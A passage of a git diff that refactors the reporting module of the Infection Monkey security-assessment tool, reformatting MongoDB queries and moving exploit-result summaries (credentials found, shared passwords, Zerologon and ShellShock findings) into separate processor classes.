+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
+ ExploitProcessor,
+)
+
+
+class CredExploitProcessor:
+ @staticmethod
+ def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
+ exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict)
+
+ for attempt in exploit_dict["data"]["attempts"]:
+ if attempt["result"]:
+ exploit_info.username = attempt["user"]
+ if attempt["password"]:
+ exploit_info.credential_type = CredentialType.PASSWORD.value
+ exploit_info.password = attempt["password"]
+ elif attempt["ssh_key"]:
+ exploit_info.credential_type = CredentialType.KEY.value
+ exploit_info.ssh_key = attempt["ssh_key"]
+ else:
+ exploit_info.credential_type = CredentialType.HASH.value
+ return exploit_info
+ return exploit_info
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py
new file mode 100644
index 000000000..ad249d58a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py
@@ -0,0 +1,12 @@
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501
+ ExploiterReportInfo,
+)
+
+
+class ExploitProcessor:
+ @staticmethod
+ def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
+ ip_addr = exploit_dict["data"]["machine"]["ip_addr"]
+ machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr))
+ return ExploiterReportInfo(ip_address=ip_addr, machine=machine, type=class_name)
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py
new file mode 100644
index 000000000..bd047fbf5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py
@@ -0,0 +1,15 @@
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
+ ExploiterReportInfo,
+ ExploitProcessor,
+)
+
+
+class ShellShockExploitProcessor:
+ @staticmethod
+ def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
+ exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict)
+
+ urls = exploit_dict["data"]["info"]["vulnerable_urls"]
+ exploit_info.port = urls[0].split(":")[2].split("/")[0]
+ exploit_info.paths = ["/" + url.split(":")[2].split("/")[1] for url in urls]
+ return exploit_info
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py
new file mode 100644
index 000000000..0b99fc87d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py
@@ -0,0 +1,12 @@
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
+ ExploiterReportInfo,
+ ExploitProcessor,
+)
+
+
+class ZerologonExploitProcessor:
+ @staticmethod
+ def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
+ exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict)
+ exploit_info.password_restored = exploit_dict["data"]["info"]["password_restored"]
+ return exploit_info
diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py
index 2389b12da..b1b015c55 100644
--- a/monkey/monkey_island/cc/services/reporting/pth_report.py
+++ b/monkey/monkey_island/cc/services/reporting/pth_report.py
@@ -7,8 +7,6 @@ from monkey_island.cc.models import Monkey
from monkey_island.cc.services.groups_and_users_consts import USERTYPE
from monkey_island.cc.services.node import NodeService
-__author__ = 'maor.rayzin'
-
class PTHReportService(object):
"""
@@ -19,7 +17,8 @@ class PTHReportService(object):
@staticmethod
def __dup_passwords_mongoquery():
"""
- This function builds and queries the mongoDB for users that are using the same passwords. this is done
+ This function builds and queries the mongoDB for users that are using the same
+ passwords. this is done
by comparing the NTLM hash found for each user by mimikatz.
:return:
A list of mongo documents (dicts in python) that look like this:
@@ -31,71 +30,72 @@ class PTHReportService(object):
"""
pipeline = [
- {"$match": {
- 'NTLM_secret': {
- "$exists": "true", "$ne": None}
- }},
+ {"$match": {"NTLM_secret": {"$exists": "true", "$ne": None}}},
{
"$group": {
- "_id": {
- "NTLM_secret": "$NTLM_secret"},
+ "_id": {"NTLM_secret": "$NTLM_secret"},
"count": {"$sum": 1},
- "Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name',
- 'machine_id': '$machine_id'}}
- }},
- {'$match': {'count': {'$gt': 1}}}
+ "Docs": {
+ "$push": {
+ "_id": "$_id",
+ "name": "$name",
+ "domain_name": "$domain_name",
+ "machine_id": "$machine_id",
+ }
+ },
+ }
+ },
+ {"$match": {"count": {"$gt": 1}}},
]
return mongo.db.groupsandusers.aggregate(pipeline)
@staticmethod
def __get_admin_on_machines_format(admin_on_machines, domain_name):
"""
- This function finds for each admin user, which machines its an admin of, and compile them to a list.
+ This function finds for each admin user, which machines its an admin of, and compile them
+ to a list.
:param admin_on_machines: A list of "monkey" documents "_id"s
:param domain_name: The admins' domain name
:return:
A list of formatted machines names *domain*/*hostname*, to use in shared admins issues.
"""
- machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
- return [domain_name + '\\' + i['hostname'] for i in list(machines)]
+ machines = mongo.db.monkey.find({"_id": {"$in": admin_on_machines}}, {"hostname": 1})
+ return [domain_name + "\\" + i["hostname"] for i in list(machines)]
@staticmethod
def __strong_users_on_crit_query():
"""
- This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and
- are administrators on machines with services predefined as important services thus making these machines
+ This function build and query the mongoDB for users that mimikatz was able to find
+ cached NTLM hashes and
+ are administrators on machines with services predefined as important services thus
+ making these machines
critical.
:return:
A list of said users
"""
pipeline = [
+ {"$unwind": "$admin_on_machines"},
+ {"$match": {"type": USERTYPE, "domain_name": {"$ne": None}}},
{
- '$unwind': '$admin_on_machines'
+ "$lookup": {
+ "from": "monkey",
+ "localField": "admin_on_machines",
+ "foreignField": "_id",
+ "as": "critical_machine",
+ }
},
- {
- '$match': {'type': USERTYPE, 'domain_name': {'$ne': None}}
- },
- {
- '$lookup':
- {
- 'from': 'monkey',
- 'localField': 'admin_on_machines',
- 'foreignField': '_id',
- 'as': 'critical_machine'
- }
- },
- {
- '$match': {'critical_machine.critical_services': {'$ne': []}}
- },
- {
- '$unwind': '$critical_machine'
- }
+ {"$match": {"critical_machine.critical_services": {"$ne": []}}},
+ {"$unwind": "$critical_machine"},
]
return mongo.db.groupsandusers.aggregate(pipeline)
@staticmethod
def __build_dup_user_label(i):
- return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username']
+ return (
+ i["hostname"] + "\\" + i["username"]
+ if i["hostname"]
+ else i["domain_name"] + "\\" + i["username"]
+ )
@staticmethod
def get_duplicated_passwords_nodes():
@@ -104,13 +104,15 @@ class PTHReportService(object):
for doc in docs:
users_list = [
{
- 'username': user['name'],
- 'domain_name': user['domain_name'],
- 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if
- user['machine_id'] else None
- } for user in doc['Docs']
+ "username": user["name"],
+ "domain_name": user["domain_name"],
+ "hostname": NodeService.get_hostname_by_id(ObjectId(user["machine_id"]))
+ if user["machine_id"]
+ else None,
+ }
+ for user in doc["Docs"]
]
- users_cred_groups.append({'cred_groups': users_list})
+ users_cred_groups.append({"cred_groups": users_list})
return users_cred_groups
@@ -119,13 +121,19 @@ class PTHReportService(object):
user_groups = PTHReportService.get_duplicated_passwords_nodes()
issues = []
for group in user_groups:
- user_info = group['cred_groups'][0]
+ user_info = group["cred_groups"][0]
issues.append(
{
- 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords',
- 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'],
- 'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']],
- 'is_local': False if user_info['domain_name'] else True
+ "type": "shared_passwords_domain"
+ if user_info["domain_name"]
+ else "shared_passwords",
+ "machine": user_info["hostname"]
+ if user_info["hostname"]
+ else user_info["domain_name"],
+ "shared_with": [
+ PTHReportService.__build_dup_user_label(i) for i in group["cred_groups"]
+ ],
+ "is_local": False if user_info["domain_name"] else True,
}
)
return issues
@@ -134,19 +142,28 @@ class PTHReportService(object):
def get_shared_admins_nodes():
# This mongo queries users the best solution to figure out if an array
- # object has at least two objects in it, by making sure any value exists in the array index 1.
- # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account
+ # object has at least two objects in it, by making sure any value exists in the array
+ # index 1.
+ # Excluding the name Administrator - its spamming the lists and not a surprise the domain
+ # Administrator account
# is shared.
- admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'},
- 'admin_on_machines.1': {'$exists': True}},
- {'admin_on_machines': 1, 'name': 1, 'domain_name': 1})
+ admins = mongo.db.groupsandusers.find(
+ {
+ "type": USERTYPE,
+ "name": {"$ne": "Administrator"},
+ "admin_on_machines.1": {"$exists": True},
+ },
+ {"admin_on_machines": 1, "name": 1, "domain_name": 1},
+ )
return [
{
- 'name': admin['name'],
- 'domain_name': admin['domain_name'],
- 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'],
- admin['domain_name'])
- } for admin in admins
+ "name": admin["name"],
+ "domain_name": admin["domain_name"],
+ "admin_on_machines": PTHReportService.__get_admin_on_machines_format(
+ admin["admin_on_machines"], admin["domain_name"]
+ ),
+ }
+ for admin in admins
]
@staticmethod
@@ -154,13 +171,14 @@ class PTHReportService(object):
admins_info = PTHReportService.get_shared_admins_nodes()
return [
{
- 'is_local': False,
- 'type': 'shared_admins_domain',
- 'machine': admin['domain_name'],
- 'username': admin['domain_name'] + '\\' + admin['name'],
- 'shared_machines': admin['admin_on_machines'],
+ "is_local": False,
+ "type": "shared_admins_domain",
+ "machine": admin["domain_name"],
+ "username": admin["domain_name"] + "\\" + admin["name"],
+ "shared_machines": admin["admin_on_machines"],
}
- for admin in admins_info]
+ for admin in admins_info
+ ]
@staticmethod
def get_strong_users_on_critical_machines_nodes():
@@ -169,15 +187,18 @@ class PTHReportService(object):
docs = PTHReportService.__strong_users_on_crit_query()
for doc in docs:
- hostname = str(doc['critical_machine']['hostname'])
+ hostname = str(doc["critical_machine"]["hostname"])
if hostname not in crit_machines:
crit_machines[hostname] = {
- 'threatening_users': [],
- 'critical_services': doc['critical_machine']['critical_services']
+ "threatening_users": [],
+ "critical_services": doc["critical_machine"]["critical_services"],
}
- crit_machines[hostname]['threatening_users'].append(
- {'name': str(doc['domain_name']) + '\\' + str(doc['name']),
- 'creds_location': doc['secret_location']})
+ crit_machines[hostname]["threatening_users"].append(
+ {
+ "name": str(doc["domain_name"]) + "\\" + str(doc["name"]),
+ "creds_location": doc["secret_location"],
+ }
+ )
return crit_machines
@staticmethod
@@ -186,11 +207,14 @@ class PTHReportService(object):
return [
{
- 'type': 'strong_users_on_crit',
- 'machine': machine,
- 'services': crit_machines[machine].get('critical_services'),
- 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']]
- } for machine in crit_machines
+ "type": "strong_users_on_crit",
+ "machine": machine,
+ "services": crit_machines[machine].get("critical_services"),
+ "threatening_users": [
+ i["name"] for i in crit_machines[machine]["threatening_users"]
+ ],
+ }
+ for machine in crit_machines
]
@staticmethod
@@ -198,22 +222,20 @@ class PTHReportService(object):
user_details = {}
crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
for machine in crit_machines:
- for user in crit_machines[machine]['threatening_users']:
- username = user['name']
+ for user in crit_machines[machine]["threatening_users"]:
+ username = user["name"]
if username not in user_details:
- user_details[username] = {
- 'machines': [],
- 'services': []
- }
- user_details[username]['machines'].append(machine)
- user_details[username]['services'] += crit_machines[machine]['critical_services']
+ user_details[username] = {"machines": [], "services": []}
+ user_details[username]["machines"].append(machine)
+ user_details[username]["services"] += crit_machines[machine]["critical_services"]
return [
{
- 'username': user,
- 'machines': user_details[user]['machines'],
- 'services_names': user_details[user]['services']
- } for user in user_details
+ "username": user,
+ "machines": user_details[user]["machines"],
+ "services_names": user_details[user]["services"],
+ }
+ for user in user_details
]
@staticmethod
@@ -222,12 +244,13 @@ class PTHReportService(object):
return [
{
- 'id': monkey.guid,
- 'label': '{0} : {1}'.format(monkey.hostname, monkey.ip_addresses[0]),
- 'group': 'critical' if monkey.critical_services is not None else 'normal',
- 'services': monkey.critical_services,
- 'hostname': monkey.hostname
- } for monkey in monkeys
+ "id": monkey.guid,
+ "label": "{0} : {1}".format(monkey.hostname, monkey.ip_addresses[0]),
+ "group": "critical" if monkey.critical_services is not None else "normal",
+ "services": monkey.critical_services,
+ "hostname": monkey.hostname,
+ }
+ for monkey in monkeys
]
@staticmethod
@@ -235,52 +258,38 @@ class PTHReportService(object):
edges_list = []
comp_users = mongo.db.groupsandusers.find(
- {
- 'admin_on_machines': {'$ne': []},
- 'secret_location': {'$ne': []},
- 'type': USERTYPE
- },
- {
- 'admin_on_machines': 1, 'secret_location': 1
- }
+ {"admin_on_machines": {"$ne": []}, "secret_location": {"$ne": []}, "type": USERTYPE},
+ {"admin_on_machines": 1, "secret_location": 1},
)
for user in comp_users:
# A list comp, to get all unique pairs of attackers and victims.
- for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location'])
- if pair[0] != pair[1]]:
+ for pair in [
+ pair
+ for pair in product(user["admin_on_machines"], user["secret_location"])
+ if pair[0] != pair[1]
+ ]:
edges_list.append(
- {
- 'from': pair[1],
- 'to': pair[0],
- 'id': str(pair[1]) + str(pair[0])
- }
+ {"from": pair[1], "to": pair[0], "id": str(pair[1]) + str(pair[0])}
)
return edges_list
@staticmethod
def get_pth_map():
return {
- 'nodes': PTHReportService.generate_map_nodes(),
- 'edges': PTHReportService.generate_edges()
+ "nodes": PTHReportService.generate_map_nodes(),
+ "edges": PTHReportService.generate_edges(),
}
@staticmethod
def get_report():
pth_map = PTHReportService.get_pth_map()
PTHReportService.get_strong_users_on_critical_machines_nodes()
- report = \
- {
- 'report_info':
- {
- 'strong_users_table': PTHReportService.get_strong_users_on_crit_details()
- },
-
- 'pthmap':
- {
- 'nodes': pth_map.get('nodes'),
- 'edges': pth_map.get('edges')
- }
- }
+ report = {
+ "report_info": {
+ "strong_users_table": PTHReportService.get_strong_users_on_crit_details()
+ },
+ "pthmap": {"nodes": pth_map.get("nodes"), "edges": pth_map.get("edges")},
+ }
return report
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index a23aa6d85..b9f8f6a47 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -2,84 +2,70 @@ import functools
import ipaddress
import itertools
import logging
-from enum import Enum
+from typing import List
from bson import json_util
+from common.config_value_paths import (
+ EXPLOITER_CLASSES_PATH,
+ LOCAL_NETWORK_SCAN_PATH,
+ PASSWORD_LIST_PATH,
+ SUBNET_SCAN_LIST_PATH,
+ USER_LIST_PATH,
+)
from common.network.network_range import NetworkRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses
from monkey_island.cc.services.config import ConfigService
-from common.config_value_paths import (EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH,
- PASSWORD_LIST_PATH, SUBNET_SCAN_LIST_PATH,
- USER_LIST_PATH)
-from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
+from monkey_island.cc.services.configuration.utils import (
+ get_config_network_segments_as_subnet_groups,
+)
from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.reporting.exploitations.manual_exploitation import get_manual_monkeys
+from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import (
+ get_monkey_exploited,
+)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501
+ ExploiterDescriptorEnum,
+)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501
+ CredentialType,
+)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
+ ExploiterReportInfo,
+)
from monkey_island.cc.services.reporting.pth_report import PTHReportService
from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
-from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report
-
-__author__ = "itay.mizeretz"
+from monkey_island.cc.services.reporting.report_generation_synchronisation import (
+ safe_generate_regular_report,
+)
+from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses
logger = logging.getLogger(__name__)
class ReportService:
- def __init__(self):
- pass
-
- EXPLOIT_DISPLAY_DICT = \
- {
- 'SmbExploiter': 'SMB Exploiter',
- 'WmiExploiter': 'WMI Exploiter',
- 'SSHExploiter': 'SSH Exploiter',
- 'SambaCryExploiter': 'SambaCry Exploiter',
- 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
- 'Ms08_067_Exploiter': 'Conficker Exploiter',
- 'ShellShockExploiter': 'ShellShock Exploiter',
- 'Struts2Exploiter': 'Struts2 Exploiter',
- 'WebLogicExploiter': 'Oracle WebLogic Exploiter',
- 'HadoopExploiter': 'Hadoop/Yarn Exploiter',
- 'MSSQLExploiter': 'MSSQL Exploiter',
- 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
- 'DrupalExploiter': 'Drupal Server Exploiter',
- 'ZerologonExploiter': 'Windows Server Zerologon Exploiter'
- }
-
- class ISSUES_DICT(Enum):
- WEAK_PASSWORD = 0
- STOLEN_CREDS = 1
- ELASTIC = 2
- SAMBACRY = 3
- SHELLSHOCK = 4
- CONFICKER = 5
- AZURE = 6
- STOLEN_SSH_KEYS = 7
- STRUTS2 = 8
- WEBLOGIC = 9
- HADOOP = 10
- PTH_CRIT_SERVICES_ACCESS = 11
- MSSQL = 12
- VSFTPD = 13
- DRUPAL = 14
- ZEROLOGON = 15
- ZEROLOGON_PASSWORD_RESTORE_FAILED = 16
-
- class WARNINGS_DICT(Enum):
- CROSS_SEGMENT = 0
- TUNNEL = 1
- SHARED_LOCAL_ADMIN = 2
- SHARED_PASSWORDS = 3
+ class DerivedIssueEnum:
+ WEAK_PASSWORD = "weak_password"
+ STOLEN_CREDS = "stolen_creds"
+ ZEROLOGON_PASS_RESTORE_FAILED = "zerologon_pass_restore_failed"
@staticmethod
def get_first_monkey_time():
- return mongo.db.telemetry.find({}, {'timestamp': 1}).sort([('$natural', 1)]).limit(1)[0]['timestamp']
+ return (
+ mongo.db.telemetry.find({}, {"timestamp": 1})
+ .sort([("$natural", 1)])
+ .limit(1)[0]["timestamp"]
+ )
@staticmethod
def get_last_monkey_dead_time():
- return mongo.db.telemetry.find({}, {'timestamp': 1}).sort([('$natural', -1)]).limit(1)[0]['timestamp']
+ return (
+ mongo.db.telemetry.find({}, {"timestamp": 1})
+ .sort([("$natural", -1)])
+ .limit(1)[0]["timestamp"]
+ )
@staticmethod
def get_monkey_duration():
@@ -100,26 +86,34 @@ class ReportService:
def get_tunnels():
return [
{
- 'type': 'tunnel',
- 'machine': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_id(tunnel['_id'])),
- 'dest': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_id(tunnel['tunnel']))
+ "type": "tunnel",
+ "machine": NodeService.get_node_hostname(
+ NodeService.get_node_or_monkey_by_id(tunnel["_id"])
+ ),
+ "dest": NodeService.get_node_hostname(
+ NodeService.get_node_or_monkey_by_id(tunnel["tunnel"])
+ ),
}
- for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
+ for tunnel in mongo.db.monkey.find({"tunnel": {"$exists": True}}, {"tunnel": 1})
+ ]
@staticmethod
def get_azure_issues():
creds = ReportService.get_azure_creds()
- machines = set([instance['origin'] for instance in creds])
+ machines = set([instance["origin"] for instance in creds])
- logger.info('Azure issues generated for reporting')
+ logger.info("Azure issues generated for reporting")
return [
{
- 'type': 'azure_password',
- 'machine': machine,
- 'users': set([instance['username'] for instance in creds if instance['origin'] == machine])
+ "type": "azure_password",
+ "machine": machine,
+ "users": set(
+ [instance["username"] for instance in creds if instance["origin"] == machine]
+ ),
}
- for machine in machines]
+ for machine in machines
+ ]
@staticmethod
def get_scanned():
@@ -128,57 +122,35 @@ class ReportService:
nodes = ReportService.get_all_displayed_nodes()
for node in nodes:
- nodes_that_can_access_current_node = node['accessible_from_nodes_hostnames']
+ nodes_that_can_access_current_node = node["accessible_from_nodes_hostnames"]
formatted_nodes.append(
{
- 'label': node['label'],
- 'ip_addresses': node['ip_addresses'],
- 'accessible_from_nodes': nodes_that_can_access_current_node,
- 'services': node['services'],
- 'domain_name': node['domain_name'],
- 'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
- })
+ "label": node["label"],
+ "ip_addresses": node["ip_addresses"],
+ "accessible_from_nodes": nodes_that_can_access_current_node,
+ "services": node["services"],
+ "domain_name": node["domain_name"],
+ "pba_results": node["pba_results"] if "pba_results" in node else "None",
+ }
+ )
- logger.info('Scanned nodes generated for reporting')
+ logger.info("Scanned nodes generated for reporting")
return formatted_nodes
@staticmethod
def get_all_displayed_nodes():
- nodes_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in
- mongo.db.node.find({}, {'_id': 1})]
- nodes_with_monkeys = [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
- mongo.db.monkey.find({}, {'_id': 1})]
+ nodes_without_monkeys = [
+ NodeService.get_displayed_node_by_id(node["_id"], True)
+ for node in mongo.db.node.find({}, {"_id": 1})
+ ]
+ nodes_with_monkeys = [
+ NodeService.get_displayed_node_by_id(monkey["_id"], True)
+ for monkey in mongo.db.monkey.find({}, {"_id": 1})
+ ]
nodes = nodes_without_monkeys + nodes_with_monkeys
return nodes
- @staticmethod
- def get_exploited():
- exploited_with_monkeys = \
- [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
- mongo.db.monkey.find({}, {'_id': 1}) if
- not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey['_id']))]
-
- exploited_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in
- mongo.db.node.find({'exploited': True}, {'_id': 1})]
-
- exploited = exploited_with_monkeys + exploited_without_monkeys
-
- exploited = [
- {
- 'label': exploited_node['label'],
- 'ip_addresses': exploited_node['ip_addresses'],
- 'domain_name': exploited_node['domain_name'],
- 'exploits': list(set(
- [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in exploited_node['exploits']
- if exploit['result']]))
- }
- for exploited_node in exploited]
-
- logger.info('Exploited nodes generated for reporting')
-
- return exploited
-
@staticmethod
def get_stolen_creds():
creds = []
@@ -189,27 +161,31 @@ class ReportService:
stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems()
creds.extend(stolen_exploit_creds)
- logger.info('Stolen creds generated for reporting')
+ logger.info("Stolen creds generated for reporting")
return creds
@staticmethod
def _get_credentials_from_system_info_telems():
formatted_creds = []
- for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
- {'data.credentials': 1, 'monkey_guid': 1}):
- creds = telem['data']['credentials']
- origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
+ for telem in mongo.db.telemetry.find(
+ {"telem_category": "system_info", "data.credentials": {"$exists": True}},
+ {"data.credentials": 1, "monkey_guid": 1},
+ ):
+ creds = telem["data"]["credentials"]
+ origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"]
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin))
return formatted_creds
@staticmethod
def _get_credentials_from_exploit_telems():
formatted_creds = []
- for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
- {'data.info.credentials': 1, 'data.machine': 1, 'monkey_guid': 1}):
- creds = telem['data']['info']['credentials']
- domain_name = telem['data']['machine']['domain_name']
- ip = telem['data']['machine']['ip_addr']
+ for telem in mongo.db.telemetry.find(
+ {"telem_category": "exploit", "data.info.credentials": {"$exists": True}},
+ {"data.info.credentials": 1, "data.machine": 1, "monkey_guid": 1},
+ ):
+ creds = telem["data"]["info"]["credentials"]
+ domain_name = telem["data"]["machine"]["domain_name"]
+ ip = telem["data"]["machine"]["ip_addr"]
origin = domain_name if domain_name else ip
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin))
return formatted_creds
@@ -217,7 +193,11 @@ class ReportService:
@staticmethod
def _format_creds_for_reporting(telem, monkey_creds, origin):
creds = []
- CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
+ CRED_TYPE_DICT = {
+ "password": "Clear Password",
+ "lm_hash": "LM hash",
+ "ntlm_hash": "NTLM hash",
+ }
if len(monkey_creds) == 0:
return []
@@ -225,13 +205,14 @@ class ReportService:
for cred_type in CRED_TYPE_DICT:
if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]:
continue
- username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
- cred_row = \
- {
- 'username': username,
- 'type': CRED_TYPE_DICT[cred_type],
- 'origin': origin
- }
+ username = (
+ monkey_creds[user]["username"] if "username" in monkey_creds[user] else user
+ )
+ cred_row = {
+ "username": username,
+ "type": CRED_TYPE_DICT[cred_type],
+ "origin": origin,
+ }
if cred_row not in creds:
creds.append(cred_row)
return creds
@@ -244,17 +225,27 @@ class ReportService:
"""
creds = []
for telem in mongo.db.telemetry.find(
- {'telem_category': 'system_info', 'data.ssh_info': {'$exists': True}},
- {'data.ssh_info': 1, 'monkey_guid': 1}
+ {"telem_category": "system_info", "data.ssh_info": {"$exists": True}},
+ {"data.ssh_info": 1, "monkey_guid": 1},
):
- origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
- if telem['data']['ssh_info']:
+ origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"]
+ if telem["data"]["ssh_info"]:
# Pick out all ssh keys not yet included in creds
- ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
- 'origin': origin} for key_pair in telem['data']['ssh_info']
- if
- key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
- 'origin': origin} not in creds]
+ ssh_keys = [
+ {
+ "username": key_pair["name"],
+ "type": "Clear SSH private key",
+ "origin": origin,
+ }
+ for key_pair in telem["data"]["ssh_info"]
+ if key_pair["private_key"]
+ and {
+ "username": key_pair["name"],
+ "type": "Clear SSH private key",
+ "origin": origin,
+ }
+ not in creds
+ ]
creds.extend(ssh_keys)
return creds
@@ -266,201 +257,72 @@ class ReportService:
"""
creds = []
for telem in mongo.db.telemetry.find(
- {'telem_category': 'system_info', 'data.Azure': {'$exists': True}},
- {'data.Azure': 1, 'monkey_guid': 1}
+ {"telem_category": "system_info", "data.Azure": {"$exists": True}},
+ {"data.Azure": 1, "monkey_guid": 1},
):
- azure_users = telem['data']['Azure']['usernames']
+ azure_users = telem["data"]["Azure"]["usernames"]
if len(azure_users) == 0:
continue
- origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
- azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
- 'origin': origin} for user in azure_users]
+ origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"]
+ azure_leaked_users = [
+ {"username": user.replace(",", "."), "type": "Clear Password", "origin": origin}
+ for user in azure_users
+ ]
creds.extend(azure_leaked_users)
- logger.info('Azure machines creds generated for reporting')
+ logger.info("Azure machines creds generated for reporting")
return creds
@staticmethod
- def process_general_exploit(exploit):
- ip_addr = exploit['data']['machine']['ip_addr']
- return {'machine': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)),
- 'ip_address': ip_addr}
+ def process_exploit(exploit) -> ExploiterReportInfo:
+ exploiter_type = exploit["data"]["exploiter"]
+ exploiter_descriptor = ExploiterDescriptorEnum.get_by_class_name(exploiter_type)
+ processor = exploiter_descriptor.processor()
+ exploiter_info = processor.get_exploit_info_by_dict(exploiter_type, exploit)
+ return exploiter_info
@staticmethod
- def process_general_creds_exploit(exploit):
- processed_exploit = ReportService.process_general_exploit(exploit)
-
- for attempt in exploit['data']['attempts']:
- if attempt['result']:
- processed_exploit['username'] = attempt['user']
- if attempt['password']:
- processed_exploit['type'] = 'password'
- processed_exploit['password'] = attempt['password']
- elif attempt['ssh_key']:
- processed_exploit['type'] = 'ssh_key'
- processed_exploit['ssh_key'] = attempt['ssh_key']
- else:
- processed_exploit['type'] = 'hash'
- return processed_exploit
- return processed_exploit
-
- @staticmethod
- def process_smb_exploit(exploit):
- processed_exploit = ReportService.process_general_creds_exploit(exploit)
- if processed_exploit['type'] == 'password':
- processed_exploit['type'] = 'smb_password'
- else:
- processed_exploit['type'] = 'smb_pth'
- return processed_exploit
-
- @staticmethod
- def process_wmi_exploit(exploit):
- processed_exploit = ReportService.process_general_creds_exploit(exploit)
- if processed_exploit['type'] == 'password':
- processed_exploit['type'] = 'wmi_password'
- else:
- processed_exploit['type'] = 'wmi_pth'
- return processed_exploit
-
- @staticmethod
